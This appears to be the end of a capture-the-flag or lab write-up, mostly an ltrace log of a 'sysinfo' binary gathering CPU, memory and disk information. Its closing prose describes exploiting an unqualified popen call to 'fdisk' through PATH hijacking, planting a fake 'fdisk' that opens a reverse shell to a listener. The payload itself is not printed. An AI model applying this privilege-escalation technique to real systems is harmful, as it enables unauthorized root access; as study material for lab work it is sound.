0x7ffff5ffc690fgets("cpuid level\t: 16\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3631203a096c6576) = 0x7ffff5ffc690fgets("wp\t\t: yes\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6579203a09097077) = 0x7ffff5ffc690fgets("flags\t\t: fpu vme de pse tsc msr "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3a09097367616c66) = 0x7ffff5ffc690fgets("sr_opt pdpe1gb rdtscp lm constan"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6320616d66203365) = 0x7ffff5ffc690fgets("4_1 sse4_2 x2apic movbe popcnt a"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3465737320315f34) = 0x7ffff5ffc690fgets("tch osvw ssbd ibpb vmmcall fsgsb"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6c63207365766173) = 0x7ffff5ffc690fgets("at overflow_recov succor\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x726f636375732076) = 0x7ffff5ffc690fgets("bugs\t\t: fxsave_leak sysret_ss_at"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x7079625f65726f74) = 0x7ffff5ffc690fgets("bogomips\t: 5988.75\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x2e38383935203a09) = 0x7ffff5ffc690fgets("TLB size\t: 3072 4K pages\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x7365676170204b34) = 0x7ffff5ffc690fgets("clflush size\t: 64\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x36203a09657a6973) = 0x7ffff5ffc690fgets("cache_alignment\t: 64\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x9746e656d6e6769) = 0x7ffff5ffc690fgets("address sizes\t: 43 bits physical"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6175747269762073) = 0x7ffff5ffc690fgets("power management:\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746e656d6567616e) = 0x7ffff5ffc690fgets("\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 15) = 0x7ffff5ffc690fgets("processor\t: 1\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6f737365636f7270) = 0x7ffff5ffc690fgets("vendor_id\t: AuthenticAMD\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x444d416369746e65) = 0x7ffff5ffc690fgets("cpu family\t: 23\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 39) = 0x7ffff5ffc690fgets("model\t\t: 49\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3a09096c65646f6d) = 0x7ffff5ffc690fgets("model name\t: AMD EPYC 7302P 16-C"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x636f72502065726f) = 0x7ffff5ffc690fgets("stepping\t: 0\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x676e697070657473) = 0x7ffff5ffc690fgets("cpu MHz\t\t: 2994.375\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x2e34393932203a09) = 0x7ffff5ffc690fgets("cache size\t: 512 KB\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x323135203a09657a) = 0x7ffff5ffc690fgets("physical id\t: 2\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 38) = 0x7ffff5ffc690fgets("siblings\t: 1\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x73676e696c626973) = 0x7ffff5ffc690fgets("core id\t\t: 0\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x964692065726f63) = 0x7ffff5ffc690fgets("cpu cores\t: 1\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x65726f6320757063) = 0x7ffff5ffc690fgets("apicid\t\t: 2\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x909646963697061) = 0x7ffff5ffc690fgets("initial apicid\t: 2\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3a09646963697061) = 0x7ffff5ffc690fgets("fpu\t\t: yes\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x79203a0909757066) = 0x7ffff5ffc690fgets("fpu_exception\t: yes\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x203a096e6f697470) = 0x7ffff5ffc690fgets("cpuid level\t: 16\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3631203a096c6576) = 0x7ffff5ffc690fgets("wp\t\t: yes\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6579203a09097077) = 0x7ffff5ffc690fgets("flags\t\t: fpu vme de pse tsc msr "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6d6d20786e206c6c) = 0x7ffff5ffc690fgets("sr_opt pdpe1gb rdtscp lm constan"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6320616d66203365) = 0x7ffff5ffc690fgets("4_1 sse4_2 x2apic movbe popcnt a"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6e6433206573736e) = 0x7ffff5ffc690fgets("tch osvw ssbd ibpb vmmcall fsgsb"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6c63207365766173) = 0x7ffff5ffc690fgets("at overflow_recov succor\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x726f636375732076) = 0x7ffff5ffc690fgets("bugs\t\t: fxsave_leak sysret_ss_at"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x7079625f65726f74) = 0x7ffff5ffc690fgets("bogomips\t: 5988.75\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x2e38383935203a09) = 0x7ffff5ffc690fgets("TLB size\t: 3072 4K pages\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x7365676170204b34) = 0x7ffff5ffc690fgets("clflush size\t: 64\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x36203a09657a6973) = 0x7ffff5ffc690fgets("cache_alignment\t: 64\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x9746e656d6e6769) = 0x7ffff5ffc690fgets("address sizes\t: 43 bits physical"..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6175747269762073) = 0x7ffff5ffc690fgets("power management:\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x746e656d6567616e) = 0x7ffff5ffc690fgets("\n", 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 47) = 0x7ffff5ffc690fgets("\n", 128, 0x56504fd00280) = 0_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE(0x56504f2d5020, 0x7ffff5ffc690, 0x56504fcee010, 0processor : 0vendor_id : AuthenticAMDcpu family : 23model : 49model name : AMD EPYC 7302P 16-Core Processorstepping : 0cpu MHz : 2994.375cache size : 512 KBphysical id : 0siblings : 1core id : 0cpu cores : 1apicid : 0initial apicid : 0fpu : yesfpu_exception : yescpuid level : 16wp : yesflags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succorbugs : fxsave_leak sysret_ss_attrs spectre_v1 spectre_v2 spec_store_bypassbogomips : 5988.75TLB size : 3072 4K pagesclflush size : 64cache_alignment : 64address sizes : 43 bits physical, 48 bits virtualpower management:processor : 1vendor_id : AuthenticAMDcpu family : 23model : 49model name : AMD EPYC 7302P 16-Core Processorstepping : 0cpu MHz : 2994.375cache size : 512 KBphysical id : 2siblings : 1core id : 0cpu cores : 1apicid : 2initial apicid : 2fpu : yesfpu_exception : yescpuid level : 16wp : yesflags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good nopl tsc_reliable nonstop_tsc cpuid extd_apicid pni pclmulqdq ssse3 fma cx16 sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand hypervisor lahf_lm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ssbd ibpb vmmcall fsgsbase bmi1 avx2 smep bmi2 rdseed adx smap clflushopt clwb sha_ni xsaveopt xsavec xsaves clzero arat overflow_recov succorbugs : fxsave_leak sysret_ss_attrs spectre_v1 spectre_v2 spec_store_bypassbogomips : 5988.75TLB size : 3072 4K pagesclflush size : 64cache_alignment : 64address sizes : 43 bits physical, 48 bits virtualpower management:) = 0x56504f2d5020_ZNSolsEPFRSoS_E(0x56504f2d5020, 0x7f951240b870, 0x56504f2d5020, 0x56504fd02bb0) = 0x56504f2d5020_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev(0x7ffff5ffc690, 0x7f95120dc8c0, 0, 2880) = 0_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc(0x56504f2d5020, 0x56504f0d39c8, 0, 0xc2f0) = 0x56504f2d5020_ZNSolsEPFRSoS_E(0x56504f2d5020, 0x7f951240b870, 0x56504f2d5020, 0x3d3d3d3d3d3d3d3d====================MEM Usage=====================) = 0x56504f2d5020_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEC1Ev(0x7ffff5ffc690, 0x56504f0d39fb, 0, 2880) = 0x7ffff5ffc6a0popen("free -h", "r") = 0x56504fd00280fgets(" total used "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x6176612020206568) = 0x7ffff5ffc690fgets("Mem: 3.8G 580M "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x4040000 <no return ...>--- SIGCHLD (Child exited) ---<... _ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc resumed> ) = 0x7ffff5ffc690fgets("Swap: 1.0G 0B "..., 128, 0x56504fd00280) = 0x7ffff5ffc5e0_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEpLEPKc(0x7ffff5ffc690, 0x7ffff5ffc5e0, 0x7ffff5ffc5e0, 0x3120202020202020) = 0x7ffff5ffc690fgets("Swap: 1.0G 0B "..., 128, 0x56504fd00280) = 0_ZStlsIcSt11char_traitsIcESaIcEERSt13basic_ostreamIT_T0_ES7_RKNSt7__cxx1112basic_stringIS4_S5_T1_EE(0x56504f2d5020, 0x7ffff5ffc690, 0x56504fcee010, 0 total used free shared buff/cache availableMem: 3.8G 580M 1.6G 6.8M 1.7G 3.0GSwap: 1.0G 0B 1.0G) = 0x56504f2d5020_ZNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEED1Ev(0x7ffff5ffc690, 0, 0x7f9512678960, 1024) = 0+++ exited (status 0) +++While the log produces a substantial amount of information, upon careful review, a specific line stands out conspicuously in the disk info section:
popen("fdisk -l", "r") = 0x56504fd00280fgets(fdisk: cannot open /dev/loop0: Permission deniedfdisk: cannot open /dev/loop1: Permission deniedfdisk: cannot open /dev/loop2: Permission deniedfdisk: cannot open /dev/loop3: Permission deniedfdisk: cannot open /dev/loop4: Permission deniedfdisk: cannot open /dev/loop5: Permission deniedfdisk: cannot open /dev/loop6: Permission deniedfdisk: cannot open /dev/loop7: Permission deniedfdisk: cannot open /dev/fd0: Permission deniedfdisk: cannot open /dev/sda: Permission deniedfdisk: cannot open /dev/loop8: Permission deniedfdisk: cannot open /dev/loop9: Permission deniedfdisk: cannot open /dev/loop10: Permission deniedfdisk: cannot open /dev/loop11: Permission deniedfdisk: cannot open /dev/loop12: Permission deniedfdisk: cannot open /dev/loop13: Permission deniedfdisk: cannot open /dev/loop14: Permission denied <no return ...>The utilization of “popen” presents a method for initiating a process within the Linux environment, the binary initiates a call to the “fdisk”. However, an issue arises due to the binary’s omission of a complete path specification during this invocation. As a result of this oversight, a vulnerability emerges, specifically in the form of potential path hijacking.
To exploit this vulnerability, we made bash file named “fdisk” that has a reverse shell content.
Download “fdisk” to “/tmp/priv” path, with an x permission and then export the PATH variable.
Executing “/bin/sysinfo” will result in a reverse shell. When the “sysinfo” operation is initiated and progresses to the point where the “fdisk -l” command is executed, the system will quest for the “fdisk” command. However, our manipulated PATH variable configuration will direct it to discover our crafted version of “fdisk” instead of the legitimate “/bin/fdisk.” Within this customized “fdisk,” we have preloaded a reverse shell code, primed for immediate execution.
But we are gonna need to start a listener.
Now, we execute “sysinfo”.
It hangs up at the disk info part, let’s check out our listener.
Cheers.